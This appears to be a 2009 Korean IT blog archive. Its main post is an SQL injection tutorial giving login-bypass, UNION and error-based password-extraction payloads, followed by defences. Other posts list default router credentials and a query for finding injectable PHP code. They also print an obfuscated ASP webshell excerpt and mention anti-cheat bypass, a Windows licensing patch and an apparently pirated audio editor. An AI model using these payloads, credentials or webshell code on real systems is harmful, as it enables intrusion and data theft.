Search Results for '전체 분류'


2064 posts related to '전체 분류'

  1. 2009/08/26 Web Hacking 1탄 SQL Injection
  2. 2009/08/26 SQL Injection 실습장면
  3. 2009/08/26 구글 코드 서치로 PHP 코드 중 SQL Injection 취약점이 있는 코드를 찾는 키워드
  4. 2009/08/26 IP공유기 각사별 초기세팅값
  5. 2009/08/26 goldwave v5.52 무설치
  6. 2009/08/26 TISTORY 첨부된 swf URL 따오기
  7. 2009/08/26 XP 터미널 서비스 여러명 사용
  8. 2009/08/26 다중 원격 접속 도구 mRemote - RDP, VNC, SSH, Telnet 등
  9. 2009/08/26 RD Tabs - 다중 탭 지원 터미널 서비스 클라이언트
  10. 2009/08/26 MSSQL 조작 도구 - Microsoft SQL Server Management Studio Express
  11. 2009/08/26 저장프로시져(Stored Procedures) 및 함수(Functions)의 파라미터 조회
  12. 2009/08/25 TortoiseCVS를 이용한 Cheat Engine Source 다운로드
  13. 2009/08/25 cer 확장자로 위장한 웹쉘 백신 검사.. 전체공개
  14. 2009/08/25 손쉬운 아이팟 터치 해킹 툴!! 1
  15. 2009/08/25 최신 해킹 동향 및 방어 기술
  16. 2009/08/25 WMI를 이용한 MRTG
  17. 2009/08/25 FastCgi 에서 PHP 폴더의 실행 권한
  18. 2009/08/25 IIS 7.5 (Windows Server 2008 R2) 에서 FastCgi 성능 향상
  19. 2009/08/25 IIS 7, 모듈(Module) 관련 문서 모음
  20. 2009/08/25 SQL Server 2000 - 나만의 노하우 & Tip
  21. 2009/08/25 Microsoft Source Code Analyzer for SQL Injection 관련 자료
  22. 2009/08/25 비정상적으로 분리된 .mdf 파일만 있는 데이터 베이스 복구
  23. 2009/08/25 Windows Web Server 2008 에서 SQL Server 2005 설치 제한 해제 패치(Hotfix)
  24. 2009/08/25 SQL Server Database File I/O Report
  25. 2009/08/25 저장프로시져(Stored Procedures) 및 함수(Functions)의 파라미터 조회
  26. 2009/08/25 Windows Server 2003에서 DNS 서버에 새 영역 만들기
  27. 2009/08/25 IIS 6 에서 ASP 에서 대용량 파일을 업로드시 403 오류 - KB327659
  28. 2009/08/25 https://<sitename> 사이트를 열 수 없습니다. SSL 인증서 오류 - KB239449
  29. 2009/08/25 IIS에서 CGI 응용 프로그램을 실행시 "액세스가 거부되었습니다." 메시지 - KB160422
  30. 2009/08/25 Windows 운영체제의 잘 알려진 SID (Security IDentifier, 보안 식별자)

Web Hacking 1탄 SQL Injection

Web Hacking 2탄 파일조작

Web Hacking 3탄 구멍난 자바스크립트



1. 시작하기

가끔 뉴스나 방송에서 xx 사이트 해킹 당했다 라고들 많이 들어보았을 겁니다

이런 뉴스를 접할때 대체 어떻게 해서 해킹이 당하는걸까? 라고들 많이 생각해 보았을 겁니다

어떻게 해킹이 일어나는지 알아야 방어도 가능하기 때문에 이번 강좌는 웹해킹에 대해 알아볼 것입니다


첫번재 시간으로 SQL Injection을 배울 것이며 그다음 두번째에는 파일조작으로 인한 해킹을,

그리고 마지막 시간에는 자바스크립트 조작에 대해 알아보겠습니다




도표에서도 알수 있듯이 SQL Injection으로 인한 해킹이 가장 간단하고 쉽기 때문에

이를 가장먼저 알아보겠습니다


SQL Injection 이란 서버나 OS의 구멍을 이용한 해킹방법이 아닌 웹 어플리케이션 자체의 버그를

이용한 새로운 형태의 웹해킹 방법입니다


정의를 하자면


SQL Injection은 웹페이지를 통해 입력된 파라미터값을 이용하여 쿼리를 재구성하는 방법이다


라고 할수 있습니다


즉 많은 웹페이지들은 사용자나 프로그램이 생성한 파라미터값을 이용해 쿼리를 만들고 실행하는데,

이때 정상적인 값이 아닌 파라미터값이 입력될 때 비정상적인 쿼리가 실행되며, 따라서

원하지 않는 결과가 나올수 있다는 것입니다


이해를 위해 바로 코드로 들어가 봅시다

아래 코드는 사용자가 입력한 로그인 아이디와 비밀번호로 로그인을 시도하는 로직입니다


// 입력받은 사용자 아이디와 비밀번호

String param1 = request.getParameter("user_id");

String param2 = request.getParameter("user_pw");


rs = stmt.executeQuery("SELECT count(*) FROM user_t WHERE userid = '"+param1+"' AND userpw = '"+param2+"'");

rs.next();

if (rs.getInt(1) == 1) {

   // 로그인 성공로직

} else {

   // 로그인 실패로직

}



무엇이 잘못되었을 까요?

코드상으로 보면 실행하는데 전혀 이상이 없는 코드이지만 쫌 아는사람들에게는 비밀번호 없이

아이디만 안다면 로그인을 성공할 수 있는 로직입니다



 

아아디가 goodbug 이고 비밀번호가 1111 인 계정이 있다고 합시다 ^^;

입력란에 googbug / 1111 을 입력하니 정상적으로 로그인이 true가 되었습니다

하지만 만약 다음과 같이 사용자가 입력한다면 어떻게 될까요?




로그인이 됩니다!

비밀번호에 상관없이 로그인이 되는군요!!

하다 더 보도록 하지요




위의 소스는 MySQL을 사용하고 있습니다

MySQL의 라인 주석처리는 # 입니다 아시죠?


즉 뒷부분 password를 체크하는 로직은 주석처리되어 버린겁니다 뜨아~


같은 의미이지만 아래처럼 여러가지 섞어서도 가능합니다



이게 만약 관리자 아이디였다면 문제는 더 심각해 집니다


이처럼 사용자의 고의로 인한 SQL을 조작하여 웹 어플리케이션 자체를 공격하는것이 SQL Injection 입니다


그렇다면 위의 소스를 어떻게 변경하는게 좋을까요?


// 입력받은 사용자 아이디와 비밀번호

String param1 = request.getParameter("user_id");

String param2 = request.getParameter("user_pw");


//validate 라는 함수는 아이디와 비밀번호 생성시 생성 로직에 맞게 되었는지 체크하는 함수

//만약 특수문자나 아이디 생성 규칙에 맞지 않는 값이면 exception을 throw 한다

validateID(param1); 

validatePW(param2);


pstmt = conn.prepareStatement("SELECT userid, userpw FROM user_t WHERE userid = ?");

pstmt.setString(1, param1);

rs = pstmt.executeQuery();

if (rs.next()) {

    // 문자를 직접 비교한다 (대소문자 구분)

    if (rs.getString(1).equals(param1) && rs.getString(2).equals(param2)) {

         // 로그인 성공로직

    } else {

        // 로그인 비밀번호 혹은 아이디 오류 로직

    }

} else {

    //로그인 부재 아이디 오류 로직

}

위처럼 하면 어느정도 되겠네요 ^^



2. SQL Injection 패턴


그럼 SQL Injection에 사용될만한 문자열에는 어떤것이 있을까요?


아래 문자들은 해당 데이터베이스에따라 달라질 수 있습니다

문자

설명

' 문자 데이터 구분기호
; 쿼리 구분 기호
--, # 해당라인 주석 구분 기호
/* */ /* 와 */ 사이 구문 주석

일반적으로 알려진 몇가지 패턴입니다


' or 1=1--

" or 1=1--

or 1=1--

' or 'a'='a

" or "a"="a

') or ('a'='a

' or password like '%


이러한 패턴들로 타겟 데이터베이스가 오라클인지 MySQL인데 혹은 M$SQL인지 확인할 필요가 있을겁니다. 왜냐하면 그것에 따라 다양한 공격 방법이 생기기 때문입니다

그럼 이러한 구분은 그럼어떻게 할까요?


SQL Injection을 이용하여 다음값이 true인지 false인지 확인합니다

AND 'abcd' = 'ab' + 'cd'

true 이면 오라클은 아닐겁니다 오라클은 ||을 문자열 concat 으로 사용하지요


AND 'abcd' = 'ab' || 'cd'

true 이면 오라클입니다

rownum 도 구분할수 있는 좋은 예입니다


MySQl은 라인 주석이 #입니다 다른 대부분 데이터베이스는 --를 사용하지요

#을 SQL Injection 하였을때 위의 예처럼 에러가 발생하지 않으면 MySQL입니다

또 limit 등도 도움이 될겁니다


이처럼 해당 데이터베이스가 고유하게 사용하는 key들을 SQL Injection하여 구분할 수 있습니다



3. UNION SQL Injection

 

위와같이 WHERE절에 SQL Injection을 사용하여 조건절을 무력화 시키는 방법도 있지만

UNION SQL Injection은 원하는 정보도 뽑아볼 수 있습니다 ^^V


코드로 바로 봅시다

아래 코드는 게시물번호를 파라미터로 받아 해당 게시물이 존재하면 글번호와 글제목, 글내용을 조회하는 코드입니다


String param1 = request.getParameter("boardno");


rs = stmt.executeQuery("SELECT boardno, boardtitle, boardcontent FROM board_t WHERE boardno = '"+param1+"'");

if (rs.next()) {

    out.println(rs.getString(1)+"<br>");

    out.println(rs.getString(2)+"<br>");

    out.println(rs.getString(3)+"<br>");

}


무엇이 잘못되었을까요?



글번호가 1134896409234 인 게시물은 다음과 같이 URL이 요청되어 조회가 될겁니다

요청 URL

/read.jsp?bno=1134896409234


하지만 위와 같이 추가적으로 UNION SQL Injection이 들어갈 수 있습니다

/read.jsp?bno=1134896409234' UNION SELECT '1', userid, userpw FROM user_t WHERE userid = 'goodbug'  ORDER BY boardno ASC #


그러면 goodbug라는 아이디의 비밀번호가 그만 조회되어 버립니다!!

그럼 user_t 라는 테이블과 ,userid, userpw라는 컬럼명들은 어떻게 알수 있을까요?


오라클 이라면 다음과 같이 알아낼 수 있습니다

/read.jsp?bno=1134896409234' UNION SELECT '1', tname, '' FROM user_tables WHERE like '%user%' ORDER BY boardno ASC --


테이블 명을 알아냈다면 이제 컬럼명을 알아봐야겠죠

오라클이라면 user_tab_columns view를 통해 알아볼 수 있습니다

SELECT * FROM user_tab_columns WHERE table_name = 'user_t'


물론 한번에 알아낼수 없으며 많은 시행착오를 겪어야 하는것은 필수입니다

그래서 제로보드나 Unicorn 같은 공개 게시판인 경우는 타겟이 되기 쉽상입니다


MySQl이나 Oracle JDBC에서는 다행히도 ; 문자를 이상 캐릭터로 보고 에러를 반환합니다

하지만 그렇지 않은 JDBC가 있따면 큰일입니다 아래와 같은 코드가 가능하기 때문이지요


/read.asp?bno=1134896409234';DELETE FROM user_t

/read.asp?bno=1134896409234';UPDATE user_t SET userpw = '1111'


PHP나 ASP인 경우에는 가능한 쿼리 입니다

이제 대강 SQL Injection에 대해 감이 잡히시나요?



4. 에러 메세지를 통한 정보수집

 

admin_login 이라는 관리자 테이블과 login_name이라는 컬럼을 알아 냈다고 한다면..

M$SQL인 경우를 예를 들겠습니다


/read.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--


Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'goodbug' to a column of data type int.
/read.asp, line 5

라는 메세지가 나옵니다

여기서 무순 정보를 알수 있을까요? 바로 goodbug 라는 관리자 아이디가 있다는 것을 알았습니다

그럼 여참에 비밀번호까지 알아봅시다


/read.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='goodbug'--


Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '1111' to a column of data type int.
/read.asp, line 5


즉 nvarchar 타입의 컬럼을 int형으로 convert를 유도하면서 해당값을 에러메세지로부터 취득할 수 있습니다


가능하면 에러 메세지는 일반 유저에게 뿌리지 말아야 겠지요?



5. 그렇다면 막아보자 SQL Injection

 

해커라고 컴퓨터 한두번 두둘겨서 어느 한 사이트를 뚝딱 해킹하지는 못합니다

웹 해킹을 하기 위해서는 보통 짧으면 일주일에서 길면 몇달까지 해커는 치밀한 준비를 한다고 합니다

웹페이지들이 전달하는 모든 파라미터를 조사하고 반복되는 에러 화면을 보면서

여러 패턴별로 치밀하게 조사후 시행을 한다고 하네요


그렇다면 어떻게 이들로부터 웹 어플리케이션을 보호할 수 있을까요?

다음과 같은 원칙을 지킨다면 이러한 SQL Injection을 사전에 방지할 수 있습니다


프로그래머의 적극적인 의지가 있어야 합니다!

   -. 여러가지 신경써야 할곳도 많고 입력값에 대한 체크로직 또한 늘어날 것입니다

       많은 귀차니즘이 생길겁니다

       머 누가 장난치겠어? 라는 생각이 많은 빵꾸를 만듭니다


 사용자가 직접 입력하는 파라미터는 절대 신뢰하지 않아야 합니다!

   -.  입력값은 javascript 뿐만 아니라 서버측에서도 체크를 해야 합니다

        숫자만 받은 입력칸이면 반드시 javascript 체크와 동시에 서버측에서도 숫자만 입력되었는지 체크해야 합니다

   -. 필요하다면 특수문자는 필터링해 버립시다 ( ‘ “ / \ : ; Space < > )

   -. 또 가능하다면 SQL 명령도 필터링 해버립시다 (UNION, SELECT, DELETE, INSERT, UPDATE, DROP..)


사용자 입력을 받아 SQL을 작성하는 부분은 반드시 PreparedStatement를 사용하여 바인딩 처리 합니다!!

   -. PreparedStatement는 SQL Injection을 원천적으로 봉쇄합니다

   -. 꼬~옥 필요한곳만 Statement를 사용합니다


웹에서 사용하는 유저는 OS계정 뿐만 아니라 데이터베이스 계정또한 가능한 권한을 낮춥니다!!

 

에러 메세지를 노출하지 않습니다!!

   -. 에러 메세지는 해커들에게 많은 정보를 제공해 줍니다

       가능하면 유저에게 알리지 말고 은밀하게 보관해야 합니다


동적 SQL은 가능하면 생성하지 않는다!!

   -. 가능한 동적 SQL은 지양하며, 비지니스로직상 동적 SQL이 어쩔수 없다면 파라미터 검사를 충분히 해야한다


많은분들이 아시는 내용이지만 처음보시는분에겐 많은 도움이 되실겁니다 ^^


=============================================

본문서는 자유롭게 배포/복사 할수 있지만

이문서의 저자에 대한 언급을 삭제하시면 안됩니다

저자 : GoodBug (unicorn@jakartaproject.com)

최초 : http://www.jakartaproject.com 

=============================================

2009/08/26 17:24 2009/08/26 17:24
SQL Injection 실습장면

꾀 오래된 자료인데, 정재씨라는 분이 예전에 공개했던 자료랍니다.

sql 에 기본 베이스가 잡혀있는 분은 쉽게 보실수있습니다.
2009/08/26 17:21 2009/08/26 17:21
구글 코드 서치로 PHP 코드 중 SQL Injection 취약점이 있는 코드를 찾는 키워드가 공개되었습니다.

쿼리 : lang:php Where \$_POST -addslashes
쿼리 결과 : http://www.google.com/codesearch?q=+lang:php+Where+%5C%24_POST+-addslashes&sa=N

쿼리를 잘 보시면 PHP 언어 중 Where 와 $_POST 절이 나타나면서 addslashes 함수를 사용하지 않는 코드를 찾고 있는 것을 보실 수 있습니다.

대략 어떤 형식으로 검색을 하는지 아시겟죠?
2009/08/26 17:20 2009/08/26 17:20

IP공유기 각사별 초기세팅값

ID와 Pass란의 공란은 입력란은 있으나 입력이 필요없는 경우이며, 없슴의 경우엔 입력란 자체가 없는 경우입니다.

제조사

모델명

초기IP주소

USER ID

Password

프린터서버유무

리넷

RX-2004

192.168.0.1

없음

없음

있음

RX-2007

192.168.0.1

없음

없음

있음

RX-2040

192.168.1.254

공란

공란

없음

RX-3400

192.168.1.254

공란

공란

없음

RX-3400PLUS

192.168.1.254

공란

공란

없음

RX-2008

192.168.1.254

공란

공란

있음

유니콘

HIP-400E

192.168.123.254

없음

admin

있음

HIP-800E

192.168.123.254

없음

admin

있음

COS-400K

192.168.123.254

없음

admin

없음

MAX-400K

192.168.123.254

공란

공란

없음

MAX-400PLUS

192.168.123.254

공란

공란

없음

HIP-400PLUS

192.168.123.254

없음

admin

있음

삼성

MagicIP-Blue

192.168.10.1

공란

admin

없음

데이타그램

DXR9400

192.168.1.1
  1.09이상:
  192.168.10.1

admin

admin

없음

DXR-9410

192.168.10.1

없음

없음

없음

리포텍

RP-IP2014

192.168.1.1

router

admin

없음

넷기어

RP-114

192.168.0.1

admin

1234

없음

RT-311

192.168.0.1

admin

1234

없음

RP-614

192.168.0.1

admin

password

없음

액톤

AC-IG1004

192.168.2.1

없음

공란

있음

지오
INB3040SR

192.168.0.1

없음

없음

없음

쓰리콤

3C-510

192.168.2.1

없음

admin

있음

3C855

192.168.1.1

없음

admin

없음

오비스링크

OV-IP2042

192.168.1.254

공란

공란

없음

OV-IP2047

192.168.1.254

공란

공란

없음

OV-IP2070

192.168.1.1

admin

admin

없음

링크시스

BEFSR41

192.168.1.1

공란

admin

없음

마하링크
MACH-500V

192.168.123.254

admin

admin

USB 있음

에이엘테크

GW-100

192.168.1.1

공란

admin

없음

GW-200

192.168.1.1

공란

admin

없음

GW-300A

192.168.1.1

공란

admin

없음

GW-200Plus

192.168.1.1

공란

admin

없음

사이베론

CGR-204

192.168.0.1

없음

없음

없음

CGR-304V

192.168.0.1

없음

없음

없음

위의 IP초기값은 IP공유기출시때의 값입니다. 사용중에 펌웨어 업그레이드를 한 경우 IP초기값이 펌웨어 버전이 업그레이드 되면서 변경되는 경우가 있습니다.  

2009/08/26 17:18 2009/08/26 17:18
사운드편집의 왕자 골드웨이브입니다.  무설치 등록판입니다.
필요한분 잘 쓰세요.  알집 최신버전으로 압축했습니다.

2009/08/26 15:58 2009/08/26 15:58
검색하기 쉽게 하기 위해 찾기 위한 단어를 글쓸때 써 놓고, 찾기로 그 단어를 찾으면 쉽게 위치를 알수 있다.

사용자 삽입 이미지
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,0,0" width="600" height="450">
<param name="wmode" value="transparent"/>
<param name="movie" value="http://cfile2.uf.tistory.com/original/18488XXXXXXX2F574"/>
<object type="application/x-shockwave-flash" wmode="transparent" data="http://cfile2.uf.tistory.com/original/18488XXXXXXX2F574" width="600" height="450">
<p><a href="http://cfile2.uf.tistory.com/original/18488XXXXXXX2F574">[Flash] http://cfile2.uf.tistory.com/original/18488XXXXXXX2F574 </a></p>
</object>
</object>

빨간색은 사이즈를
파란색은 찾은 URL 경로를 넣어주면 된다

사용해주면 되겠다. ㅎㅎ
2009/08/26 15:49 2009/08/26 15:49
윈도XP 원격데스크탑(터미날 서비스) 2인 이상 동시 사용하기

2명 이상이 한 컴퓨터를 동시에 사용할 수 있도록 윈도 설정등을 바꾸어 주는 패치이며
윈도XP 프로페셔날에서만 가능한 얘기입니다.
즉, 로컬에서 컴퓨터 사용중에도 원격으로 컴퓨터 접속 및 사용이 가능함.

1. 아래 링크된 파일을 다운 받아 압축을 푼다.
   (압축을 풀면 termserv.dll, 레지스트리 변경 파일, readme.txt, 설치용 배치파일등이 있음)

2. 제어판 -> 사용자 계정 -> 사용자 로그온 또는 로그오프 방법 변경 -> '새로운 시작 화면 사용'과
   '빠른 사용자 전환 사용'을 모두 체크

3. 시작 -> 실행 -> 'gpedit.msc' 입력하고 엔터 -> 그룹컴퓨터정책 -> 컴퓨터 구성 ->  
    관리 템플릿 -> Windows 구성요소 -> 터미날 서비스 -> 연결 개수 제한 -> '사용'에 체크 ->
    'TS 최대 연결 허용'을 '3'이상으로 변경

4. 설정 변경이 완료되면 윈도를 재시작하여 안전모드로 부팅
    -> 시작 -> 실행 -> 'cmd' 입력후 엔터 -> 도스창 -> 압축 푼 디렉토리로 이동
    -> 'mulTerm.bat' 파일을 실행

* 기존 termserv.dll(버전 2188)은 백업 보관되고 구버전 termserv.dll(버전 2055)으로 대체
* 싱글유저에서 멀티유저 사용 설정을 위해 레지스트리파일이 변경됨

5. 배치파일 실행이 완료되면 윈도 탐색기를 실행 -> c:\windows\system32\dllcache로 이동
   -> 'termserv.dll' 파일을 찾아 삭제하거나 임의의 이름으로 바꾼다.
* 폴더 속성에서 시스템 파일과 숨겨진 파일을 볼 수 있게 속성을 변경해야 dllcache 폴더와
  내용을 볼 수 있음

6. 윈도를 재시작한 다음 멀티 유저 환경으로 사용....

* 만약 문제가 발생하거나 이전 상태로 돌아 가고 싶으면 안전모드로 부팅 후
  mulTermUninst.bat을 실행한다
2009/08/26 15:45 2009/08/26 15:45
http://www.mremote.org/wiki/

오픈소스 프로젝트인 소스포지에 공개된 프로젝트중에,. 다중 원격 접속 클라이언트 프로젝트중에 하나 입니다.  최근에 유행??.. 멀티탭 및 여러가지 프로토콜을 지원하네요..

- 코멘트 달린 내용중에 추천 하였기에,. 찾아보니 소스포지 프로젝트 이기도 하고..^^ -
사용자 삽입 이미지
위키에 정리된 내용이 그닥 많치 않아서 정확치는 않지만,. RDP 터미널 서비스는 Windows 자체의 터미널 서비스 클라이언트의 COM 개체를 이용하는 것 같습니다.

VB.NET 으로 대부분 작성이 되어 있어서, 닷넷 프레임워크 2.0 이 설치되어 있어야 합니다.


사용자 삽입 이미지
현재 프로토콜 설정 목록에는 위와 같은 프로토콜을 지원합니다.

그외,. 외부 도구 연결들 여러가지 기능을 지원하는 것 같습니다. 다만 여러가지 프로토콜에 대한 동일한 설정창으로 인해서 각 프로토콜만의 특징적인 설정이 없는것 같습니다. (못찾았을수도...)

이를테면,. Windows Vista 및 Windows Server 2008 RDP 6.1 에서는 서버 인증이라던가 터미널 서비스 게이트 웨이 설정등...

2009/08/26 15:40 2009/08/26 15:40
사용자 삽입 이미지
사용자 삽입 이미지
다운로드: http://www.avianwaves.com/Tech/Tools/RDTabs/

무료 공개 프로그램으로,. Windows Visata 및 Windows Server 2008 의 RDP 6.x 버젼도 지원 합니다. 또한 매우 다양하고 상세한 옵션 설정이 가능하고 편리한 기능이 지원 되네요..^^;;
2009/08/26 15:36 2009/08/26 15:36
MSSQL 2000 등에 포함된 쿼리분석기와 같은 프로그램 입니다.  호스팅 관련 서비스 에 있는 MSSQL 관리툴을 사

용해도 되겠지만  세세한 사항을 컨트롤 하기에는 이쪽이 좋을 겁니다.


개요

SSMSE(Microsoft SQL Server Management Studio Express)는 SQL Server 2005 Express Edition 및 SQL Server 2005 Express Edition with Advanced Services를 관리할 수 있는 사용이 용이한 무료 그래픽 관리 도구입니다. SSMSE는 SQL Server 2005의 모든 버전에서 만든 SQL Server 데이터베이스 엔진의 인스턴스도 관리할 수 있습니다.

참고: SSMSE는 SQL Server Analysis Services, Integration Services, Notification Services, Reporting Services, SQL Server 에이전트 또는 SQL Server 2005 Mobile Edition을 관리할 수 없습니다.

현재 사용할 수 있는 다른 버전 및 다운로드 가능한 구성 요소를 포함한 SQL Server Express에 대한 자세한 내용은 MSDN의 SQL Server Express 페이지를 참조하십시오.


다운로드 : http://www.microsoft.com/downloads/details.aspx?FamilyID=c243a5ae-4bd1-4e3d-94b8-5a0f62bf7796&DisplayLang=ko#filelist
2009/08/26 15:27 2009/08/26 15:27
www.wssplex.net
http://www.mssqltips.com/tip.asp?tip=1669 는 해당 데이터베이스에 있는 저장프로시져 및 함수에서 사용되는 파라미터의 각 목록을 확인할수 있는 쿼리 스크립트 입니다.

SELECT SCHEMA_NAME(SCHEMA_ID) AS [Schema],
SO.name AS [ObjectName],
SO.Type_Desc AS [ObjectType (UDF/SP)],
P.parameter_id AS [ParameterID],
P.name AS [ParameterName],
TYPE_NAME(P.user_type_id) AS [ParameterDataType],
P.max_length AS [ParameterMaxBytes],
P.is_output AS [IsOutPutParameter]
FROM sys.objects AS SO
INNER JOIN sys.parameters AS P
ON SO.OBJECT_ID = P.OBJECT_ID
WHERE SO.OBJECT_ID IN ( SELECT OBJECT_ID
FROM sys.objects
WHERE TYPE IN ('P','FN'))
ORDER BY [Schema], SO.name, P.parameter_id

이를테면,. 특정 파라미터에 정의된 값을 찾아서 수정이 필요한 경우에 이용해 볼수 있을것 같고 그외 목적에 따라서 위 쿼리 스크립트를 약간만 수정해도 다양하게 이용할수 있을것 같습니다.

위 쿼리스크립트에 대한 자세한 내용은 해당 원문 페이지를 확인해 보시기 바라며, SQL Server 2005 이상에서만 지원 가능한 시스템뷰를 이용하므로 SQL Server 2000 에서는 작동하지 않습니다.
2009/08/26 15:13 2009/08/26 15:13
* 시작하기 전에 *
본 강좌는 치트엔진 공식포럼의 infinitezero님께서 올리신 튜토리얼(http://forum.cheatengine.org/viewtopic.php?t=34471)을 기초로 번역한 것으로,
저의 부족한 영어 실력과 프로그램의 버전업 등을 반영하느라 추가된 내용으로 인하여원문 내용과는 다소 차이가 날 수 있음을 알려 드립니다.

이 "소스"는 Cheat Engine을 만들기 위한 소스 입니다.
이 "소스"는 게임가드에 감지되지 않기 하기 위한 용도 등으로 부분적인 수정이 가능합니다.
(감지 되지 않는다면, 게임가드를 우회하여 메이플스토리 등의 게임을 에디트 할수 있겠죠.)

시작...

(1) 이곳으로 가십시오.
그리고 Stable version(안정화 버전)을 다운 받으십시오. (첫번째 것.)
(이 강좌를 쓰는 2006년 11월 16일 기준으로 가장 최신의 안정화 버전인) TortoiseCVS-1.8.29.exe 를 다운받아 설치 하십시오.
(팁: 설치 과정중 재부팅을 하라는 메세지가 나오면 사실 진짜로 재부팅을 할 필요는 없습니다.
진짜로 필요한 것은 explorer.exe 프로세서를 종료시켰다가 다시 실행만 하면 됩니다. 만약 이렇게 하는 방법을 모르신다면 그냥 재부팅 하십시오.)

(2) 설치가 끝난 후 C드라이브(C:\)를 여신 후 아무곳에서나 마우스 오른 클릭을 하시면 아래와 같은 팝업 메뉴가 나타납니다.

(3) CVS Checkout를 선택하시면 아래와 같은 Checkout module창이 뜹니다.
CVSROOT: 라고 되어 있는 곳에
:pserver:cvsanon@cvs.colddot.nl/CECVS (콜론{:}까지 포함하여 정확하게 기입해 주세요. 그렇지 않으면 작동하지 않습니다.) 라고 적어 주세요.
그런 후에 Module: 부분에 Cheat Engine이라고 적어주고 OK 버튼을 클릭하세요.

그러면 아래와 같이 다운로드를 시작하고 몇분 기다리시면 다운을 완료 합니다.
만약 다운이 완료되면 CVS operation completed 라는 메세지를 출력 합니다.


이제 다운이 완료 되었습니다.
C:\Cheat Engine 으로 가시면 다운로드된 파일들을 확인 하실 수 있습니다.

출처
2009/08/25 15:40 2009/08/25 15:40

IIS 웹 서버의 asp.dll 파일에 맵핑되어 있는 cer 확장자로 위장된 웹쉘이 발견되었습니다. 이 웹쉘은 ASP木2006 툴로 제작된 것으로 바이러스토탈 사이트에서 검사 결과, 우회코드로 인하여 일부 백신에서만 탐지하는 것으로 확인되었습니다.

--- top.cer 웹 쉘 일부 내용 ( 우회코드 ) -----

 Const m = "xl"
 Const showLogin = "xl"
 Const clientPassword = "#"
 Const dbSelectNumber = 10
 Const isDebugMode = False
 Const myName = "??去了"
 Const notdownloadsExists = False
 Const userPassword = "xiaonong"
 Const MyCmdDoTExeFiLe = "cOmmaNd.coM"
 ConSt strJSCloSeMe = "<inPut tYpe=butTon vAluE=' ?? ' onClick='wiNdow.cloSe();'>"

 Sub creAteIT(fSoX, SaX, wSX)
  If isDebugMode = False Then
   On Error Resume Next
  End If

  Set fsoX = Server.CreateObject("Scripting.FileSy"&x&"stemObject")
  If IsEmpty(fsoX) And (pagename = "FsoFile"&x&"Explorer" Or theAct = "fsoSe"&x&"arch") Then
   Set fsoX = fso
  End If

  Set saX = Server.CreateObject("Shell.Ap"&x&"plication")
  If IsEmpty(saX) And (pagename = "AppFileExplorer" Or pagename = "Sa"&x&"CmdRun" Or theAct = "saSe"&x&"arch") Then
   Set saX = sa
  End If

  Set wsX = Server.CreateObject("WScrip"&x&"t.Shell")
  If IsEmpty(wsX) And (pagename = "WsCm"&x&"dRun" Or theAct = "getTermina"&x&"lInfo" Or theAct = "readR"&x&"eg") Then
   Set wsX = ws
  End If

  If Err Then
   Err.Clear
  End If
 End Sub

----------------------

카스퍼스카이가 못 잡다니..... 예상 밖이네요..

사용자 삽입 이미지


2009/08/25 14:39 2009/08/25 14:39
사용자 삽입 이미지

http://openmirror.org/ziphone.org/

간단한 아이팟터치 해킹 툴!!!

* 다운로드 : 위 사이트에서 최신 윈도우용 아이팟 터치 ZiPhone 다운로드
* 설치 : ZiPhoneWin-2.6b.exe을 다운로드 받고 더블클릭하여 압축을 푼뒤
           ZiPhoneGUI.exe 파일을 클릭하면 위 프로그램이 실행됨
* 실행 :
   1. ZiPhoneGUI.exe을 터블클릭하여 프로그램 실행
   2. 아이팟터치를 연결
   3. Jailbreak옆에 있는 iPod touch 클릭 -> 알아서 아이팟터치를 해킹함..
* 참고사항
   1. 해킹하는데 2~3분정도 소요
   2. 아이팟터치 버전이 1.1.4이여야 함(앞으로 최신버전 업데이트시 ZiPhone에 있는 안내문 참조)
   3. 생각보다 너무 간단하게 끝나서 어리둥절함 ㅡㅡ;
2009/08/25 14:32 2009/08/25 14:32

Module 1 - Information Security Overview

  • 학술적인 정의의 정보보안은 각종 위협으로부터 안전하게 보호하여 정보 시스템의 "기밀성", "무결성", "가용성"을 보장하는 것을 말한다.
  • Hacker 는 system 과 network 분야의 H/W, S/W 전문가를 지칭하는 의미로 고도의 전문 프로그래밍 실력을 가지고 합법적인 system, network 관리를 하는 사람을 의미합니다.
  • 전설적인 해커 Kevin Mitnick : 이론만으로 존재했던 IP Spoofing 공격을 실제로 공격에 사용한 최초의 해커로서 그의 실력을 입증하였다.
  • 해커의 분류 : Elite, Semi Elite, Developed Kiddie, Script Kiddie, 레이머
  • 보안 10대 불변 법칙

유용한 사이트
  • http://packetstorm.linuxsecurity.com - 익스플로잇
  • http://www.krcert.or.kr - 통계분석 메뉴
  • http://www.hackerwatch.org - 전세계 인터넷 트래픽 맵
  • http://www.zone-h.org - 메인페이지가 변조된 사이트들을 실시간으로 알려줌
  • http://www.hackersnews.org - 메인페이지가 변조된 사이트들을 실시간으로 알려줌

Module 2 - Attack Technique

  • 전통적인 공격기법
  1. 1단계 : 정보수집 -> 전체단계중 90% 이상을 차지한다.

  2. 2단계 : 시스템 침입
  3. 3단계 : 공격 전이

  • 공격기법 세분화
  1. Footprinting
  2. Scanning
  3. Enumeration
  4. Gaining Access
  5. Escalating Privilege
  6. Pilfering
  7. Covering Tracks
  8. Backdoor
  9. Denial of Service

Ping을 실행했을때, TTL 값이 128 근처이면 윈도우 운영체제이고 유닉스 계열 운영체제는 64 나 255 가 된다.


Module 3 - Footprinting

  • Social Engineering

    • 가장 쉬우면서도 가장 확실한 방법일 수 있는 것이 바로 이 사회공학 기법이다. 희대의 해커였던 케빈 미트닉은 기술 또한 우수했지만 이 사회공학 기법에 있어서 타의 추종을 불허한다고 한다.
    • 합법적인 사용자가 들어가는 데 바로 뒤에 붙어서 들어가려고 시도 (Piggybacking)
    • 휴지통 뒤지기
  • whois

whois는 인터넷에 등록된 domain에 대한 정보를 제공해주는 서비스이다. 이 서비스를 통해 master/slave name server 의 IP, 관리자의 전화번호를 비롯하여 email address, 기관의 지리적 위치, 할당 받은 IP Address, 최종 업데이트일자 등을 확인할 수 있다.


http://www.archive.org

http://www.ip-adress.com


Module 4 - Scanning

http://www.iana.org

http://insecure.org - NMAP (스캐닝)

